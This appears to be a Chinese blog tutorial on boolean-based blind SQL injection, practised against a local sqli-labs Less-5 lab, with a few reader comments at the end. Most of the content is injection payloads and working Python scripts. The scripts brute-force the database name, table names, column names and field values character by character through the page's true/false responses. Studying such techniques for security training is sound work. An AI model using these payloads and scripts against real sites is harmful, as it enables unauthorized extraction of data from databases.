上次说到了sql注入中的字符型和数字型的基本的方法,也是最简单的。
-
但是有时候如果注入的时候没有详细的内容,只回显有或者没有,那么就可以使用布尔盲注
-
如果没有回显,也可以尝试基于时间延迟的盲注
-
如果没有关闭报错信息,也可以尝试基于报错的盲注
基于布尔SQL盲注
我们可以利用逻辑判断进行截取字符串相关操作
-
left(database(),1)>'s'
表示从database()
左侧截取前1
为大于's'
-
ascii(substr((select database()),1,1))=98
substr(a,b,c)
表示从b
位置开始,截取a
的c
长度,ascii()
将某个字符转化为ascii值 -
正则注入
用法:select user() regexp '^[a-z]';
假如用户名为root,第二位可以用select user() regexp '^ro'
表示
示例:
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
-
like匹配注入
和上述正则类似
用法:select user() like 'ro%'
爆数据库长度
?id=1 and length(database())>5
如果返回正常内容,则说明数据库的长度是大于5的,举一反三,知道猜测到数据库的正确长度,手工一个一个猜肯定是不行的,这里用python跑,可以参考我脚本:(没有使用二分法和多线程,可能速度有点慢)
import requests
url = 'http://127.0.0.1/sqli/Less-5/?id=1'
echo = 'You are in...........'
for i in range(100):
a = requests.get(url + "'and length(database())=" + str(i) + '%23')
if a.text.find(echo) != -1:
length = i
print('数据库长度为:%s' % length)
break
爆数据库名
我知道了数据库的名的长度,现在就可以猜数据库名了
?id=1 and left(database()1)>'a'
同样如果返回正确内容,说明数据库名的第一个字符的ascii值大于a,举一反三,上脚本:
j = []
for i in range(1, length + 1):
for k in range(ord('0'), ord('z') + 1):
b = requests.get(url + "'and left(database(),%d)='%s'%%23" % (i, ''.join(j) + chr(k)))
if b.text.find(echo) != -1:
j.append(chr(k))
print(chr(k), end='')
break
print('\n')
爆表名
id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit
i
,1),
j
,1))=
k
--+
表示 该数据库中的第 i+1
个表的第 j
个的ascii值是 k
,里面的函数意思我在上面讲过了,上脚本:
i = 0
while 1:
j = 1
while 1:
for k in range(ord('0'), ord('z') + 1):
c = requests.get(url + "'and ascii(substr((select table_name from information_schema.tables where "
"table_schema=database() limit %d,1),%d,1))=%d--+" % (i, j, k))
if c.text.find(echo) != -1:
j += 1
print(chr(k), end='')
break
if c.text.find(echo) == -1:
print()
break
i += 1
if j == 1:
break
爆列名
?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='
table
' limit
i
,1),
j
,1))=
k
--+
表示 在 table
表中的第 i+1
个的第 j
个的ascii值是 k
,里面的函数意思我在上面讲过了,上脚本:
table = input('请输入表名:')
i = 0
while 1:
j = 1
while 1:
for k in range(ord('0'), ord('z') + 1):
c = requests.get(url + "'and ascii(substr((select column_name from information_schema.columns where "
"table_name='%s' limit %d,1),%d,1))=%d--+" % (table, i, j, k))
if c.text.find(echo) != -1:
j += 1
print(chr(k), end='')
break
if c.text.find(echo) == -1:
print('\t')
break
i += 1
if j == 1:
break
爆字段
'and ascii(substr((select
column
from
table
limit
i
,1),
j
,1))=
k
--+
表示 在 table
表中, column
列中的第 i+1
个的第 j
个的ascii值是 k
,里面的函数意思我在上面讲过了,上脚本:
column = input('请输入列名:')
i = 0
while 1:
j = 1
while 1:
for k in range(ord('0'), ord('z') + 1):
c = requests.get(
url + "'and ascii(substr((select %s from %s limit %d,1),%d,1))=%d--+" % (column, table, i, j, k))
if c.text.find(echo) != -1:
j += 1
print(chr(k), end='')
break
if c.text.find(echo) == -1:
print('\t')
break
i += 1
if j == 1:
break
3 条评论
晨哥yyds
鼠标点击特效很喜庆
嘿嘿